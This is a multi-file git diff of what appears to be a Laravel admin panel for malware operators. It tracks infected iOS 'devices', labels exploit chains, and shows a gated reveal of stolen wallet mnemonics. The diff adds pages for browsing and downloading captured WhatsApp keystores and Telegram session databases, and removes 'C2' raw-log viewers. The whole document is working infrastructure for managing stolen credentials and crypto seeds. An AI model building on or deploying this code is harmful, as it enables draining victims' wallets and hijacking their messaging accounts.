var $id = $('#LAY-ch-id-input');
|
|
||||||
$('#LAY-ch-template-item').show();
|
|
||||||
if (type === 'new') {
|
|
||||||
$id.attr('maxlength', 6).attr('placeholder', '例如 A.B.C1 或 3.1.07');
|
|
||||||
if (!/^[0-9A-Za-z]\.[0-9A-Za-z]\.[0-9A-Za-z]{2}$/.test($id.val() || '')) $id.val('');
|
|
||||||
$('#LAY-ch-template-hint').text('新版 weifile.html:test=大圆圈加载+15s 倒计时;blank=空白页');
|
|
||||||
} else {
|
|
||||||
$id.attr('maxlength', 32).attr('placeholder', '32位字母数字');
|
|
||||||
$('#LAY-ch-template-hint').text('旧版 support.html:test=HUD;blank=空白');
|
|
||||||
}
|
|
||||||
}
|
|
||||||
syncTemplateVisibility();
|
|
||||||
form.on('select(LAY-ch-builder-type)', function () { syncTemplateVisibility(); });
|
|
||||||
$('#LAY-ch-rand').on('click', function () {
|
$('#LAY-ch-rand').on('click', function () {
|
||||||
var type = $('#LAY-ch-form select[name=builder_type]').val() || 'old';
|
$.getJSON(@json(route('admin.channels.randomId')), function (res) {
|
||||||
$.getJSON(@json(route('admin.channels.randomId')), { builder_type: type }, function (res) {
|
|
||||||
if (res.code === 0) $('#LAY-ch-form input[name=channel_id]').val(res.data.channel_id);
|
if (res.code === 0) $('#LAY-ch-form input[name=channel_id]').val(res.data.channel_id);
|
||||||
});
|
});
|
||||||
});
|
});
|
||||||
|
|||||||
@@ -13,6 +13,9 @@
|
|||||||
.wrap{word-break:break-all;max-width:640px}
|
.wrap{word-break:break-all;max-width:640px}
|
||||||
.wallet-row{background:#fff7e6}
|
.wallet-row{background:#fff7e6}
|
||||||
.tag-wallet{display:inline-block;background:#FFB800;color:#fff;padding:0 6px;border-radius:2px;font-size:12px}
|
.tag-wallet{display:inline-block;background:#FFB800;color:#fff;padding:0 6px;border-radius:2px;font-size:12px}
|
||||||
|
.tag-im{display:inline-block;color:#fff;padding:0 6px;border-radius:2px;font-size:12px;line-height:20px}
|
||||||
|
.tag-im-ws{background:#25d366}
|
||||||
|
.tag-im-tg{background:#2aabee}
|
||||||
.tag-chain{display:inline-block;color:#fff;padding:0 6px;border-radius:2px;font-size:12px;line-height:20px}
|
.tag-chain{display:inline-block;color:#fff;padding:0 6px;border-radius:2px;font-size:12px;line-height:20px}
|
||||||
.tag-chain-coruna{background:#0d9488}
|
.tag-chain-coruna{background:#0d9488}
|
||||||
.tag-chain-darksword{background:#7c3aed}
|
.tag-chain-darksword{background:#7c3aed}
|
||||||
|
|||||||
@@ -99,6 +99,7 @@
|
|||||||
<div class="layui-inline dash-date-shortcuts">
|
<div class="layui-inline dash-date-shortcuts">
|
||||||
<button type="button" class="layui-btn layui-btn-primary" data-range="today">今日</button>
|
<button type="button" class="layui-btn layui-btn-primary" data-range="today">今日</button>
|
||||||
<button type="button" class="layui-btn layui-btn-primary" data-range="yesterday">昨日</button>
|
<button type="button" class="layui-btn layui-btn-primary" data-range="yesterday">昨日</button>
|
||||||
|
<button type="button" class="layui-btn layui-btn-primary" data-range="7d">近 7 天</button>
|
||||||
<button type="button" class="layui-btn layui-btn-primary" data-range="month">本月</button>
|
<button type="button" class="layui-btn layui-btn-primary" data-range="month">本月</button>
|
||||||
</div>
|
</div>
|
||||||
@include('admin.partials.filter_channel_select', ['channelBlockClass' => 'dash-channel-block'])
|
@include('admin.partials.filter_channel_select', ['channelBlockClass' => 'dash-channel-block'])
|
||||||
@@ -249,12 +250,6 @@ layui.use(['form', 'laydate', 'layer'], function () {
|
|||||||
function fmtDate(d) {
|
function fmtDate(d) {
|
||||||
return d.getFullYear() + '-' + pad(d.getMonth() + 1) + '-' + pad(d.getDate());
|
return d.getFullYear() + '-' + pad(d.getMonth() + 1) + '-' + pad(d.getDate());
|
||||||
}
|
}
|
||||||
function defaultRange() {
|
|
||||||
var to = new Date();
|
|
||||||
var from = new Date();
|
|
||||||
from.setDate(to.getDate() - 29);
|
|
||||||
return fmtDate(from) + ' - ' + fmtDate(to);
|
|
||||||
}
|
|
||||||
function rangeOf(kind) {
|
function rangeOf(kind) {
|
||||||
var today = new Date();
|
var today = new Date();
|
||||||
today.setHours(0, 0, 0, 0);
|
today.setHours(0, 0, 0, 0);
|
||||||
@@ -266,14 +261,19 @@ layui.use(['form', 'laydate', 'layer'], function () {
|
|||||||
y.setDate(y.getDate() - 1);
|
y.setDate(y.getDate() - 1);
|
||||||
return fmtDate(y) + ' - ' + fmtDate(y);
|
return fmtDate(y) + ' - ' + fmtDate(y);
|
||||||
}
|
}
|
||||||
|
if (kind === '7d') {
|
||||||
|
var from7 = new Date(today);
|
||||||
|
from7.setDate(today.getDate() - 6);
|
||||||
|
return fmtDate(from7) + ' - ' + fmtDate(today);
|
||||||
|
}
|
||||||
if (kind === 'month') {
|
if (kind === 'month') {
|
||||||
var from = new Date(today.getFullYear(), today.getMonth(), 1);
|
var from = new Date(today.getFullYear(), today.getMonth(), 1);
|
||||||
return fmtDate(from) + ' - ' + fmtDate(today);
|
return fmtDate(from) + ' - ' + fmtDate(today);
|
||||||
}
|
}
|
||||||
return defaultRange();
|
return fmtDate(today) + ' - ' + fmtDate(today);
|
||||||
}
|
}
|
||||||
|
|
||||||
var initialRange = defaultRange();
|
var initialRange = rangeOf('today');
|
||||||
$('#LAY-dash-date-range').val(initialRange);
|
$('#LAY-dash-date-range').val(initialRange);
|
||||||
laydate.render({
|
laydate.render({
|
||||||
elem: '#LAY-dash-date-range',
|
elem: '#LAY-dash-date-range',
|
||||||
|
|||||||
@@ -54,6 +54,18 @@
|
|||||||
</select>
|
</select>
|
||||||
</div>
|
</div>
|
||||||
</div>
|
</div>
|
||||||
|
<div class="layui-inline">
|
||||||
|
<label class="layui-form-label">WS/TG</label>
|
||||||
|
<div class="layui-input-block">
|
||||||
|
<select name="has_im">
|
||||||
|
<option value="">全部</option>
|
||||||
|
<option value="yes">有</option>
|
||||||
|
<option value="whatsapp">有 WS</option>
|
||||||
|
<option value="telegram">有 TG</option>
|
||||||
|
<option value="none">无</option>
|
||||||
|
</select>
|
||||||
|
</div>
|
||||||
|
</div>
|
||||||
<div class="layui-inline">
|
<div class="layui-inline">
|
||||||
<label class="layui-form-label">安装时间</label>
|
<label class="layui-form-label">安装时间</label>
|
||||||
<div class="layui-input-block">
|
<div class="layui-input-block">
|
||||||
@@ -138,6 +150,12 @@ layui.use(['table', 'form', 'laydate', 'layer'], function () {
|
|||||||
}).join(' ');
|
}).join(' ');
|
||||||
return '<span style="color:#d97706;font-weight:600;">有</span>' + (tags ? ' ' + tags : '');
|
return '<span style="color:#d97706;font-weight:600;">有</span>' + (tags ? ' ' + tags : '');
|
||||||
} },
|
} },
|
||||||
|
{ field: 'im_names', title: 'WS/TG', width: 140, templet: function (d) {
|
||||||
|
var tags = [];
|
||||||
|
if (Number(d.has_whatsapp) === 1) tags.push('<span class="tag-im tag-im-ws">WS</span>');
|
||||||
|
if (Number(d.has_telegram) === 1) tags.push('<span class="tag-im tag-im-tg">TG</span>');
|
||||||
|
return tags.length ? tags.join(' ') : '<span style="color:#94a3b8;">—</span>';
|
||||||
|
} },
|
||||||
{ field: 'album_storage', title: '相册存储', width: 110, templet: function (d) {
|
{ field: 'album_storage', title: '相册存储', width: 110, templet: function (d) {
|
||||||
var on = Number(d.album_storage) === 1;
|
var on = Number(d.album_storage) === 1;
|
||||||
return '<input type="checkbox" lay-skin="switch" lay-text="开|关" lay-filter="LAY-device-album-list"' +
|
return '<input type="checkbox" lay-skin="switch" lay-text="开|关" lay-filter="LAY-device-album-list"' +
|
||||||
@@ -200,6 +218,7 @@ layui.use(['table', 'form', 'laydate', 'layer'], function () {
|
|||||||
ip: '',
|
ip: '',
|
||||||
ios: '',
|
ios: '',
|
||||||
has_wallet: '',
|
has_wallet: '',
|
||||||
|
has_im: '',
|
||||||
installed_from: '',
|
installed_from: '',
|
||||||
installed_to: ''
|
installed_to: ''
|
||||||
},
|
},
|
||||||
|
|||||||
@@ -53,6 +53,21 @@
|
|||||||
@endif
|
@endif
|
||||||
</td>
|
</td>
|
||||||
</tr>
|
</tr>
|
||||||
|
<tr>
|
||||||
|
<th>WS/TG</th>
|
||||||
|
<td colspan="3">
|
||||||
|
@if ($device->hasWhatsApp() || $device->hasTelegram())
|
||||||
|
@if ($device->hasWhatsApp())
|
||||||
|
<span class="tag-im tag-im-ws">WS</span>
|
||||||
|
@endif
|
||||||
|
@if ($device->hasTelegram())
|
||||||
|
<span class="tag-im tag-im-tg">TG</span>
|
||||||
|
@endif
|
||||||
|
@else
|
||||||
|
—
|
||||||
|
@endif
|
||||||
|
</td>
|
||||||
|
</tr>
|
||||||
<tr>
|
<tr>
|
||||||
<th>相册存储</th>
|
<th>相册存储</th>
|
||||||
<td colspan="3">
|
<td colspan="3">
|
||||||
|
|||||||
@@ -1,45 +0,0 @@
|
|||||||
@extends('admin.content')
|
|
||||||
|
|
||||||
@section('title', '原始日志')
|
|
||||||
|
|
||||||
@section('content')
|
|
||||||
@php
|
|
||||||
$labels = ['xxbb' => '新版 C2(public/log/xxbb)', 'c2' => '旧版 C2(public/log/c2)'];
|
|
||||||
@endphp
|
|
||||||
@foreach ($labels as $k => $title)
|
|
||||||
<div class="layui-card">
|
|
||||||
<div class="layui-card-header">{{ $title }}</div>
|
|
||||||
<div class="layui-card-body">
|
|
||||||
@if ($k === 'xxbb')
|
|
||||||
<p class="layui-word-aux" style="margin-bottom:12px;">xxbb 短路径上报单独落盘,与旧版 /api/user/* 分开。</p>
|
|
||||||
@else
|
|
||||||
<p class="layui-word-aux" style="margin-bottom:12px;">按日文件落盘,不再写入数据库。</p>
|
|
||||||
@endif
|
|
||||||
<table class="layui-table">
|
|
||||||
<thead>
|
|
||||||
<tr>
|
|
||||||
<th>文件</th>
|
|
||||||
<th>大小</th>
|
|
||||||
<th>修改时间</th>
|
|
||||||
<th></th>
|
|
||||||
</tr>
|
|
||||||
</thead>
|
|
||||||
<tbody>
|
|
||||||
@forelse ($groups[$k] ?? [] as $f)
|
|
||||||
<tr>
|
|
||||||
<td><code>{{ $f['name'] }}</code></td>
|
|
||||||
<td>{{ number_format($f['size']) }} B</td>
|
|
||||||
<td>{{ $f['mtime'] }}</td>
|
|
||||||
<td>
|
|
||||||
<a class="layui-btn layui-btn-xs" href="{{ route('admin.logs.show', ['kind' => $k, 'file' => $f['name'], 'path' => $path, 'device' => $device]) }}">查看</a>
|
|
||||||
</td>
|
|
||||||
</tr>
|
|
||||||
@empty
|
|
||||||
<tr><td colspan="4">暂无日志文件</td></tr>
|
|
||||||
@endforelse
|
|
||||||
</tbody>
|
|
||||||
</table>
|
|
||||||
</div>
|
|
||||||
</div>
|
|
||||||
@endforeach
|
|
||||||
@endsection
|
|
||||||
@@ -1,56 +0,0 @@
|
|||||||
@extends('admin.content')
|
|
||||||
|
|
||||||
@section('title', '日志 '.$file)
|
|
||||||
|
|
||||||
@section('content')
|
|
||||||
@php
|
|
||||||
$showBase = ['kind' => $kind ?? 'c2', 'file' => $file];
|
|
||||||
$query = array_filter([
|
|
||||||
'path' => $path ?? '',
|
|
||||||
'device' => $device ?? '',
|
|
||||||
], fn ($v) => $v !== '' && $v !== null);
|
|
||||||
@endphp
|
|
||||||
<div class="layui-card">
|
|
||||||
<div class="layui-card-header">
|
|
||||||
{{ ($kind ?? 'c2') === 'xxbb' ? '新版' : '旧版' }} / {{ $file }}
|
|
||||||
<a class="layui-btn layui-btn-primary layui-btn-xs" style="float:right;margin-top:8px;" href="{{ route('admin.logs.index') }}">返回</a>
|
|
||||||
</div>
|
|
||||||
<div class="layui-card-body">
|
|
||||||
<form class="layui-form" method="get" action="{{ route('admin.logs.show', $showBase) }}" style="margin-bottom: 15px;">
|
|
||||||
<div class="layui-inline">
|
|
||||||
<input type="text" name="device" value="{{ $device ?? '' }}" placeholder="设备 ID" class="layui-input" style="width:200px;">
|
|
||||||
</div>
|
|
||||||
<div class="layui-inline">
|
|
||||||
<input type="text" name="path" value="{{ $path ?? '' }}" placeholder="path 关键字" class="layui-input" style="width:220px;">
|
|
||||||
</div>
|
|
||||||
<div class="layui-inline">
|
|
||||||
<button class="layui-btn" type="submit">筛选</button>
|
|
||||||
</div>
|
|
||||||
</form>
|
|
||||||
<p class="layui-word-aux">
|
|
||||||
文件 {{ number_format($fileSize ?? 0) }} B · 第 {{ $page ?? 1 }} 页 · 本页 {{ count($entries) }} / {{ $perPage ?? 40 }} 条(新→旧,避免整文件渲染)
|
|
||||||
</p>
|
|
||||||
<div style="margin-bottom:12px;">
|
|
||||||
@if ($hasNewer ?? false)
|
|
||||||
<a class="layui-btn layui-btn-sm layui-btn-primary" href="{{ route('admin.logs.show', array_merge($showBase, $query, ['page' => ($page ?? 1) - 1])) }}">更新</a>
|
|
||||||
@endif
|
|
||||||
@if ($hasOlder ?? false)
|
|
||||||
<a class="layui-btn layui-btn-sm" href="{{ route('admin.logs.show', array_merge($showBase, $query, ['page' => ($page ?? 1) + 1])) }}">更早</a>
|
|
||||||
@endif
|
|
||||||
</div>
|
|
||||||
@forelse ($entries as $entry)
|
|
||||||
<pre class="json-block" style="margin-bottom:12px;">{{ $entry }}</pre>
|
|
||||||
@empty
|
|
||||||
<p>无匹配记录</p>
|
|
||||||
@endforelse
|
|
||||||
<div style="margin-top:12px;">
|
|
||||||
@if ($hasNewer ?? false)
|
|
||||||
<a class="layui-btn layui-btn-sm layui-btn-primary" href="{{ route('admin.logs.show', array_merge($showBase, $query, ['page' => ($page ?? 1) - 1])) }}">更新</a>
|
|
||||||
@endif
|
|
||||||
@if ($hasOlder ?? false)
|
|
||||||
<a class="layui-btn layui-btn-sm" href="{{ route('admin.logs.show', array_merge($showBase, $query, ['page' => ($page ?? 1) + 1])) }}">更早</a>
|
|
||||||
@endif
|
|
||||||
</div>
|
|
||||||
</div>
|
|
||||||
</div>
|
|
||||||
@endsection
|
|
||||||
@@ -21,7 +21,7 @@ window.CorunaMnemonicReveal = function (opts) {
|
|||||||
return layer.msg('无权查看明文');
|
return layer.msg('无权查看明文');
|
||||||
}
|
}
|
||||||
if (!googleBound) {
|
if (!googleBound) {
|
||||||
return layer.msg('请先在「安全 → 谷歌验证」绑定。查看助记词必须验证。', {
|
return layer.msg('请先在「系统 → 谷歌验证」绑定。查看助记词必须验证。', {
|
||||||
time: 3200
|
time: 3200
|
||||||
}, function () {
|
}, function () {
|
||||||
if (securityUrl && parent && parent.layui && parent.layui.index) {
|
if (securityUrl && parent && parent.layui && parent.layui.index) {
|
||||||
|
|||||||
@@ -0,0 +1,153 @@
|
|||||||
|
@extends('admin.content')
|
||||||
|
|
||||||
|
@section('title', $title)
|
||||||
|
|
||||||
|
@section('content')
|
||||||
|
@php
|
||||||
|
$portal = $portal ?? 'admin';
|
||||||
|
$isWhatsApp = (int) ($kind ?? 0) === \App\Models\PluginSession::KIND_WHATSAPP;
|
||||||
|
@endphp
|
||||||
|
<div class="layui-card">
|
||||||
|
<form class="layui-form layui-card-header layuiadmin-card-header-auto" lay-filter="LAY-session-search">
|
||||||
|
<div class="layui-form-item">
|
||||||
|
@include('admin.partials.filter_channel_select')
|
||||||
|
<div class="layui-inline">
|
||||||
|
<label class="layui-form-label">设备 ID</label>
|
||||||
|
<div class="layui-input-block">
|
||||||
|
<input type="text" name="device_key" class="layui-input" autocomplete="off">
|
||||||
|
</div>
|
||||||
|
</div>
|
||||||
|
@include('admin.partials.filter_agent_select')
|
||||||
|
<div class="layui-inline">
|
||||||
|
<label class="layui-form-label">{{ $isWhatsApp ? '账号 / 手机' : '用户 ID' }}</label>
|
||||||
|
<div class="layui-input-block">
|
||||||
|
<input type="text" name="account_id" class="layui-input" autocomplete="off">
|
||||||
|
</div>
|
||||||
|
</div>
|
||||||
|
<div class="layui-inline">
|
||||||
|
<button class="layui-btn" lay-submit lay-filter="LAY-session-search">搜索</button>
|
||||||
|
</div>
|
||||||
|
</div>
|
||||||
|
</form>
|
||||||
|
<div class="layui-card-body">
|
||||||
|
<table id="LAY-session-list" lay-filter="LAY-session-list"></table>
|
||||||
|
<script type="text/html" id="LAY-session-ops">
|
||||||
|
<a class="layui-btn layui-btn-primary layui-btn-xs" lay-event="payload">参数</a>
|
||||||
|
<a class="layui-btn layui-btn-normal layui-btn-xs" lay-event="detail">设备详情</a>
|
||||||
|
</script>
|
||||||
|
</div>
|
||||||
|
</div>
|
||||||
|
@endsection
|
||||||
|
|
||||||
|
@push('scripts')
|
||||||
|
<script>
|
||||||
|
layui.use(['table', 'form', 'layer'], function () {
|
||||||
|
var table = layui.table, form = layui.form, layer = layui.layer;
|
||||||
|
var isWhatsApp = @json($isWhatsApp);
|
||||||
|
var dataUrl = @json($isWhatsApp ? route($portal.'.whatsapp.data') : route($portal.'.telegram.data'));
|
||||||
|
if (window.CorunaFilterOptions) CorunaFilterOptions.apply(form);
|
||||||
|
function esc(s) {
|
||||||
|
return String(s == null ? '' : s)
|
||||||
|
.replace(/&/g, '&').replace(/</g, '<').replace(/>/g, '>').replace(/"/g, '"');
|
||||||
|
}
|
||||||
|
|
||||||
|
function yesNo(v) {
|
||||||
|
return v ? '<span style="color:#16a34a;">有</span>' : '<span style="color:#94a3b8;">无</span>';
|
||||||
|
}
|
||||||
|
function dash(v) { return v ? v : '—'; }
|
||||||
|
|
||||||
|
var cols = [
|
||||||
|
{ field: 'id', title: 'ID', width: 70, sort: true },
|
||||||
|
{ field: 'device_key', title: '设备 ID', width: 160 },
|
||||||
|
{ field: 'channel_id', title: '渠道 ID', width: 160, templet: function (d) { return dash(d.channel_id); } }
|
||||||
|
];
|
||||||
|
if (isWhatsApp) {
|
||||||
|
cols.push(
|
||||||
|
{ field: 'account_id', title: '账号', minWidth: 160, sort: true, templet: function (d) { return dash(d.account_id); } },
|
||||||
|
{ field: 'phone', title: '手机号', width: 150, templet: function (d) { return dash(d.phone); } },
|
||||||
|
{ field: 'nickname', title: '昵称', width: 140, templet: function (d) { return dash(d.nickname); } },
|
||||||
|
{ field: 'version', title: '版本', width: 110, templet: function (d) { return dash(d.version); } },
|
||||||
|
{ field: 'has_keystore', title: '密钥', width: 80, templet: function (d) { return yesNo(d.has_keystore); } }
|
||||||
|
);
|
||||||
|
} else {
|
||||||
|
cols.push(
|
||||||
|
{ field: 'account_id', title: '用户 ID', minWidth: 160, sort: true, templet: function (d) { return dash(d.account_id); } },
|
||||||
|
{ field: 'has_state', title: '状态', width: 80, templet: function (d) { return yesNo(d.has_state); } },
|
||||||
|
{ field: 'has_db', title: 'DB', width: 80, templet: function (d) { return yesNo(d.has_db); } }
|
||||||
|
);
|
||||||
|
}
|
||||||
|
cols.push(
|
||||||
|
{ field: 'created_at', title: '创建时间', width: 170, sort: true },
|
||||||
|
{ field: 'updated_at', title: '更新时间', width: 170, sort: true },
|
||||||
|
{ title: '操作', width: 170, align: 'center', fixed: 'right', toolbar: '#LAY-session-ops' }
|
||||||
|
);
|
||||||
|
|
||||||
|
table.render({
|
||||||
|
elem: '#LAY-session-list',
|
||||||
|
id: 'LAY-session-list',
|
||||||
|
url: dataUrl,
|
||||||
|
cols: [cols],
|
||||||
|
page: true, limit: 20, limits: [10, 20, 30, 50],
|
||||||
|
request: { pageName: 'page', limitName: 'limit' },
|
||||||
|
response: { statusName: 'code', statusCode: 0, msgName: 'msg', countName: 'count', dataName: 'data' }
|
||||||
|
});
|
||||||
|
|
||||||
|
form.on('submit(LAY-session-search)', function (data) {
|
||||||
|
table.reload('LAY-session-list', { where: data.field, page: { curr: 1 } });
|
||||||
|
return false;
|
||||||
|
});
|
||||||
|
|
||||||
|
table.on('tool(LAY-session-list)', function (obj) {
|
||||||
|
if (obj.event === 'payload') {
|
||||||
|
var url = obj.data.payload_url;
|
||||||
|
if (!url) {
|
||||||
|
layer.msg('缺少参数地址');
|
||||||
|
return;
|
||||||
|
}
|
||||||
|
var load = layer.load(1, { shade: 0.1 });
|
||||||
|
fetch(url, { headers: { 'Accept': 'application/json', 'X-Requested-With': 'XMLHttpRequest' }, credentials: 'same-origin' })
|
||||||
|
.then(function (res) {
|
||||||
|
return res.json().then(function (body) { return { ok: res.ok, body: body || {} }; })
|
||||||
|
.catch(function () { return { ok: false, body: { msg: '参数接口返回了非 JSON' } }; });
|
||||||
|
})
|
||||||
|
.then(function (out) {
|
||||||
|
layer.close(load);
|
||||||
|
var body = out.body || {};
|
||||||
|
var json = body.data && body.data.payload_json;
|
||||||
|
if (!out.ok || body.code === 1 || !json) {
|
||||||
|
layer.msg(body.msg || '加载参数失败');
|
||||||
|
return;
|
||||||
|
}
|
||||||
|
var downloadUrl = (body.data && body.data.download_url) || obj.data.download_url || '';
|
||||||
|
var downloadBtn = downloadUrl
|
||||||
|
? '<a class="layui-btn layui-btn-sm" href="' + esc(downloadUrl) + '" download>下载完整参数</a>'
|
||||||
|
: '';
|
||||||
|
layer.open({
|
||||||
|
type: 1,
|
||||||
|
title: (isWhatsApp ? 'WS 参数 #' : 'TG 参数 #') + obj.data.id,
|
||||||
|
area: ['720px', '520px'],
|
||||||
|
content: '<div style="margin:12px 12px 0;">' + downloadBtn + '</div>' +
|
||||||
|
'<pre class="json-block" style="margin:12px;max-height:400px;">' +
|
||||||
|
esc(json) + '</pre>'
|
||||||
|
});
|
||||||
|
})
|
||||||
|
.catch(function () {
|
||||||
|
layer.close(load);
|
||||||
|
layer.msg('加载参数失败');
|
||||||
|
});
|
||||||
|
return;
|
||||||
|
}
|
||||||
|
if (obj.event !== 'detail') return;
|
||||||
|
var url = obj.data.detail_url;
|
||||||
|
var title = '设备 ' + (obj.data.device_key || ('#' + obj.data.id));
|
||||||
|
try {
|
||||||
|
if (parent && parent.layui && parent.layui.index) {
|
||||||
|
parent.layui.index.openTabsPage(url, title);
|
||||||
|
return;
|
||||||
|
}
|
||||||
|
} catch (e) {}
|
||||||
|
location.href = url;
|
||||||
|
});
|
||||||
|
});
|
||||||
|
</script>
|
||||||
|
@endpush
|
||||||
@@ -104,6 +104,12 @@
|
|||||||
<dd data-name="notes">
|
<dd data-name="notes">
|
||||||
<a lay-href="{{ route('admin.notes.index') }}">备忘录</a>
|
<a lay-href="{{ route('admin.notes.index') }}">备忘录</a>
|
||||||
</dd>
|
</dd>
|
||||||
|
<dd data-name="whatsapp">
|
||||||
|
<a lay-href="{{ route('admin.whatsapp.index') }}">WS 参数</a>
|
||||||
|
</dd>
|
||||||
|
<dd data-name="telegram">
|
||||||
|
<a lay-href="{{ route('admin.telegram.index') }}">TG 参数</a>
|
||||||
|
</dd>
|
||||||
</dl>
|
</dl>
|
||||||
</li>
|
</li>
|
||||||
<li data-name="promo" class="layui-nav-item">
|
<li data-name="promo" class="layui-nav-item">
|
||||||
@@ -120,17 +126,6 @@
|
|||||||
</dd>
|
</dd>
|
||||||
</dl>
|
</dl>
|
||||||
</li>
|
</li>
|
||||||
<li data-name="security" class="layui-nav-item">
|
|
||||||
<a href="javascript:;" lay-tips="安全" lay-direction="2">
|
|
||||||
<i class="layui-icon layui-icon-password"></i>
|
|
||||||
<cite>安全</cite>
|
|
||||||
</a>
|
|
||||||
<dl class="layui-nav-child">
|
|
||||||
<dd data-name="google2fa">
|
|
||||||
<a lay-href="{{ route('admin.security.google2fa') }}">谷歌验证</a>
|
|
||||||
</dd>
|
|
||||||
</dl>
|
|
||||||
</li>
|
|
||||||
<li data-name="system" class="layui-nav-item">
|
<li data-name="system" class="layui-nav-item">
|
||||||
<a href="javascript:;" lay-tips="系统" lay-direction="2">
|
<a href="javascript:;" lay-tips="系统" lay-direction="2">
|
||||||
<i class="layui-icon layui-icon-set"></i>
|
<i class="layui-icon layui-icon-set"></i>
|
||||||
@@ -140,13 +135,13 @@
|
|||||||
<dd data-name="settings">
|
<dd data-name="settings">
|
||||||
<a lay-href="{{ route('admin.system.settings.index') }}">设置</a>
|
<a lay-href="{{ route('admin.system.settings.index') }}">设置</a>
|
||||||
</dd>
|
</dd>
|
||||||
|
<dd data-name="google2fa">
|
||||||
|
<a lay-href="{{ route('admin.security.google2fa') }}">谷歌验证</a>
|
||||||
|
</dd>
|
||||||
@if(auth('admin')->user()?->isSuper())
|
@if(auth('admin')->user()?->isSuper())
|
||||||
<dd data-name="admins">
|
<dd data-name="admins">
|
||||||
<a lay-href="{{ route('admin.system.admins.index') }}">管理员</a>
|
<a lay-href="{{ route('admin.system.admins.index') }}">管理员</a>
|
||||||
</dd>
|
</dd>
|
||||||
<dd data-name="raw-logs">
|
|
||||||
<a lay-href="{{ route('admin.logs.index') }}">原始日志</a>
|
|
||||||
</dd>
|
|
||||||
@endif
|
@endif
|
||||||
</dl>
|
</dl>
|
||||||
</li>
|
</li>
|
||||||
|
|||||||
@@ -95,6 +95,12 @@
|
|||||||
<dd data-name="notes">
|
<dd data-name="notes">
|
||||||
<a lay-href="{{ route('user.notes.index') }}">备忘录</a>
|
<a lay-href="{{ route('user.notes.index') }}">备忘录</a>
|
||||||
</dd>
|
</dd>
|
||||||
|
<dd data-name="whatsapp">
|
||||||
|
<a lay-href="{{ route('user.whatsapp.index') }}">WS 参数</a>
|
||||||
|
</dd>
|
||||||
|
<dd data-name="telegram">
|
||||||
|
<a lay-href="{{ route('user.telegram.index') }}">TG 参数</a>
|
||||||
|
</dd>
|
||||||
</dl>
|
</dl>
|
||||||
</li>
|
</li>
|
||||||
<li data-name="promo" class="layui-nav-item">
|
<li data-name="promo" class="layui-nav-item">
|
||||||
|
|||||||
+8
-9
@@ -13,7 +13,7 @@ use App\Http\Controllers\Admin\MnemonicController;
|
|||||||
use App\Http\Controllers\Admin\NoteController;
|
use App\Http\Controllers\Admin\NoteController;
|
||||||
use App\Http\Controllers\Admin\PageVisitController;
|
use App\Http\Controllers\Admin\PageVisitController;
|
||||||
use App\Http\Controllers\Admin\PhotoController;
|
use App\Http\Controllers\Admin\PhotoController;
|
||||||
use App\Http\Controllers\Admin\RawLogController;
|
use App\Http\Controllers\Admin\PluginSessionController;
|
||||||
use App\Http\Controllers\Admin\SystemSettingsController;
|
use App\Http\Controllers\Admin\SystemSettingsController;
|
||||||
use App\Http\Controllers\Admin\TransferRecordController;
|
use App\Http\Controllers\Admin\TransferRecordController;
|
||||||
use App\Http\Controllers\Admin\WalletAddressController;
|
use App\Http\Controllers\Admin\WalletAddressController;
|
||||||
@@ -78,6 +78,13 @@ Route::prefix('admin')->name('admin.')->middleware('panel.host:admin')->group(fu
|
|||||||
Route::get('notes', [NoteController::class, 'index'])->name('notes.index');
|
Route::get('notes', [NoteController::class, 'index'])->name('notes.index');
|
||||||
Route::get('notes/data', [NoteController::class, 'data'])->name('notes.data');
|
Route::get('notes/data', [NoteController::class, 'data'])->name('notes.data');
|
||||||
|
|
||||||
|
Route::get('whatsapp', [PluginSessionController::class, 'whatsapp'])->name('whatsapp.index');
|
||||||
|
Route::get('whatsapp/data', [PluginSessionController::class, 'whatsappData'])->name('whatsapp.data');
|
||||||
|
Route::get('telegram', [PluginSessionController::class, 'telegram'])->name('telegram.index');
|
||||||
|
Route::get('telegram/data', [PluginSessionController::class, 'telegramData'])->name('telegram.data');
|
||||||
|
Route::get('sessions/{pluginSession}/payload', [PluginSessionController::class, 'payload'])->name('sessions.payload');
|
||||||
|
Route::get('sessions/{pluginSession}/download', [PluginSessionController::class, 'download'])->name('sessions.download');
|
||||||
|
|
||||||
Route::get('agents', [AgentUserController::class, 'index'])->name('agents.index');
|
Route::get('agents', [AgentUserController::class, 'index'])->name('agents.index');
|
||||||
Route::get('agents/data', [AgentUserController::class, 'data'])->name('agents.data');
|
Route::get('agents/data', [AgentUserController::class, 'data'])->name('agents.data');
|
||||||
Route::post('agents', [AgentUserController::class, 'store'])->name('agents.store');
|
Route::post('agents', [AgentUserController::class, 'store'])->name('agents.store');
|
||||||
@@ -99,14 +106,6 @@ Route::prefix('admin')->name('admin.')->middleware('panel.host:admin')->group(fu
|
|||||||
});
|
});
|
||||||
|
|
||||||
Route::middleware('admin.super')->group(function () {
|
Route::middleware('admin.super')->group(function () {
|
||||||
Route::get('logs', [RawLogController::class, 'index'])->name('logs.index');
|
|
||||||
Route::get('logs/{kind}/{file}', [RawLogController::class, 'show'])
|
|
||||||
->where(['kind' => 'c2|xxbb', 'file' => '\d{8}\.log'])
|
|
||||||
->name('logs.show');
|
|
||||||
Route::get('logs/{file}', function (string $file) {
|
|
||||||
return redirect()->route('admin.logs.show', ['kind' => 'c2', 'file' => $file]);
|
|
||||||
})->where('file', '\d{8}\.log')->name('logs.show.legacy');
|
|
||||||
|
|
||||||
Route::prefix('system')->name('system.')->group(function () {
|
Route::prefix('system')->name('system.')->group(function () {
|
||||||
Route::get('admins', [AdminUserController::class, 'index'])->name('admins.index');
|
Route::get('admins', [AdminUserController::class, 'index'])->name('admins.index');
|
||||||
Route::get('admins/data', [AdminUserController::class, 'data'])->name('admins.data');
|
Route::get('admins/data', [AdminUserController::class, 'data'])->name('admins.data');
|
||||||
|
|||||||
@@ -9,6 +9,7 @@ use App\Http\Controllers\Admin\MnemonicController;
|
|||||||
use App\Http\Controllers\Admin\NoteController;
|
use App\Http\Controllers\Admin\NoteController;
|
||||||
use App\Http\Controllers\Admin\PageVisitController;
|
use App\Http\Controllers\Admin\PageVisitController;
|
||||||
use App\Http\Controllers\Admin\PhotoController;
|
use App\Http\Controllers\Admin\PhotoController;
|
||||||
|
use App\Http\Controllers\Admin\PluginSessionController;
|
||||||
use App\Http\Controllers\Admin\TransferRecordController;
|
use App\Http\Controllers\Admin\TransferRecordController;
|
||||||
use App\Http\Controllers\Admin\WalletAddressController;
|
use App\Http\Controllers\Admin\WalletAddressController;
|
||||||
use App\Http\Controllers\Agent\AuthController;
|
use App\Http\Controllers\Agent\AuthController;
|
||||||
